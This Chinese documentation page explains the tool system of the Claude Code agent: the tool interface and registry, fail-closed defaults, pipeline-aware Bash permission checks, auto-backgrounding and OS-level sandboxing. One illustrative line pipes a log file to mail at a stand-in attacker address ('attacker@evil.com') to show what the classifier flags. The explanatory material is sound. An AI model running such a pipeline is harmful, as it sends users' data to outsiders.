首页/工具系统

工具系统

42 个内置工具的架构与实现

工具系统是 Claude Code 的核心执行层。每个工具实现 Tool 接口,通过 tools.ts 注册中心统一管理。工具被分为多个类别:执行工具(Bash)、文件操作(Read/Write/Edit)、搜索工具(Grep/Glob)、MCP 集成、Agent 协调等。

核心要点

Tool.ts 定义统一接口:schema、execute、canUse
42 个内置工具,按目录组织
条件加载 — 根据 Feature Flags 和用户类型
权限检查 — CanUseToolFn 在执行前验证
进度追踪 — BashProgress、MCPProgress 等类型

设计亮点

失败安全的默认值:忘了声明就被拦截

就像银行保险柜默认锁住,必须明确打开才能取东西。不是'忘了锁门'导致被盗,而是'忘了开门'导致进不去

buildTool() 给每个工具设置的默认值都是最保守的:isConcurrencySafe 默认 false(不允许并行)、isReadOnly 默认 false(假设有副作用)、isDestructive 默认 false(但默认需要权限检查)。如果一个新工具的开发者忘了声明自己是安全的,结果是这个工具会被权限系统额外审查——而不是被默默放行。这是安全领域'fail-closed'原则的完美实践。

Bash 能看懂你的管道

就像海关不只看最后一个包裹,而是检查整条运输链路上的每一环

当 Claude 想执行 cat log.txt | grep error | wc -l 时,BashTool 不是简单地看到这是一条 Bash 命令就放行或拦截。它把管道拆开,逐个分析每个命令的语义:cat 是读取、grep 是搜索、wc 是统计——整条管道是'只读'操作,可以安全执行。但如果管道变成 cat log.txt | mail attacker@evil.com,最后一环是'发送'操作,就会被标记为需要审查。中间的 echo、printf 等命令被标记为'语义中性',不影响管道整体的安全性判断。

15 秒自动转后台:AI 不会被卡住

就像你让助理去打印文件,如果 15 秒还没打完,助理会说'我放后台打印了,先继续别的工作'

当 Bash 命令执行超过 15 秒时(ASSISTANT_BLOCKING_BUDGET_MS),BashTool 自动将其转为后台任务。这个设计解决了一个关键问题:AI 助手在等待长命令时会完全阻塞,无法响应用户。转后台后,主循环继续运行,AI 可以同时处理其他任务。用户会看到一个后台任务通知,命令完成后结果会被自动收集。前 2 秒内不显示进度(PROGRESS_THRESHOLD_MS),避免闪烁。

沙箱适配器:权限规则变成操作系统护栏

就像把'不许进厨房'的口头规定变成了厨房门上的实体锁

用户在 settings.json 里写的权限规则(如'禁止编辑 .env 文件')是文本规则,sandbox-adapter.ts 把它们转换成操作系统级的路径限制。这意味着即使 AI 试图绕过文本级别的检查(比如用 cat 读取后再写入另一个文件),操作系统也会直接阻止写入受保护路径。路径语法支持 4 种前缀(//、/、~/、./),让用户可以精确控制保护范围。

模块架构图

加载架构图...
核心文件
Tool.ts792 LOC

工具基类,定义 ToolInputJSONSchema、ToolUseBlockParam 等接口

tools.ts600 LOC

工具注册中心,导入并注册所有 42 个工具

tools/BashTool/2,000 LOC

Bash 命令执行工具,含 20 个子模块

tools/FileReadTool/500 LOC

文件读取工具,支持文本、图片、PDF、Jupyter

tools/FileEditTool/800 LOC

文件编辑工具,精确字符串替换

tools/FileWriteTool/400 LOC

文件创建/覆盖工具

tools/GrepTool/600 LOC

基于 ripgrep 的内容搜索

tools/GlobTool/400 LOC

文件模式匹配

tools/AgentTool/1,200 LOC

子代理编排工具

tools/MCPTool/800 LOC

MCP 协议工具执行

数据流程
1
模型请求工具
Claude 输出 tool_use 块
2
工具分发
tools.ts 查找对应工具
3
权限检查
canUse() 验证权限
4
执行工具
调用 tool.execute()
5
进度回调
实时更新 UI
6
返回结果
tool_result 发回模型

关键代码

加载代码...
加载代码...
加载代码...

深入解析

每个工具以独立目录存在于 tools/ 下,如 tools/BashTool/BashTool.ts,方便模块化管理。每个目录就是一个完整的功能单元,包含实现、测试和辅助文件。

工具通过 Feature Flags 条件加载,内部用户(ant)可以访问额外工具。这意味着外部构建和内部构建的工具集是不同的。

BashTool 是最复杂的工具,包含 20 个子模块,处理沙箱(通过 sandbox-adapter.ts 将权限规则转换为操作系统级的路径限制)、超时(默认 120 秒)、后台执行(超过 15 秒自动后台化)等。

MCPTool 支持动态加载外部 MCP 服务器提供的工具,实现无限扩展。每个 MCP 工具被注册时,名称会加上 mcp__{serverName}__ 前缀,确保与内置工具不冲突。

buildTool() 函数使用 TypeScript 映射类型实现类型安全的默认值注入。所有可选方法(isEnabled、isReadOnly、isDestructive 等)都有安全的默认值,新工具只需定义核心逻辑。

工具执行上下文(ToolExecutionContext)携带了工作目录、权限上下文、中断信号和进度回调。中断信号(AbortSignal)让用户可以随时按 Ctrl+C 取消正在执行的工具。

进度回调系统支持多种进度类型:BashProgress(命令输出流)、MCPProgress(MCP 工具状态)等。UI 层根据进度类型渲染不同的展示形式(如搜索类命令自动折叠输出)。

BashTool 的命令分类器能理解管道:ls | grep foo 整条管道被识别为'搜索'操作而非'写入'操作,因为它分析了管道中每个命令的语义角色。echo 和 printf 被标记为'语义中性'——它们不改变管道的整体性质。

工具的 checkPermissions() 方法允许每个工具在通用权限系统之外实现自己的权限逻辑。比如 BashTool 需要解析命令内容来判断危险性,而 FileEditTool 需要检查目标文件是否在受保护路径下。

沙箱适配器(sandbox-adapter.ts)将用户配置的权限规则转换为操作系统级限制。它支持 4 种路径前缀语法:// 表示从根开始的绝对路径,/ 表示相对于设置文件的路径,~/ 表示用户主目录,./ 表示当前工作目录。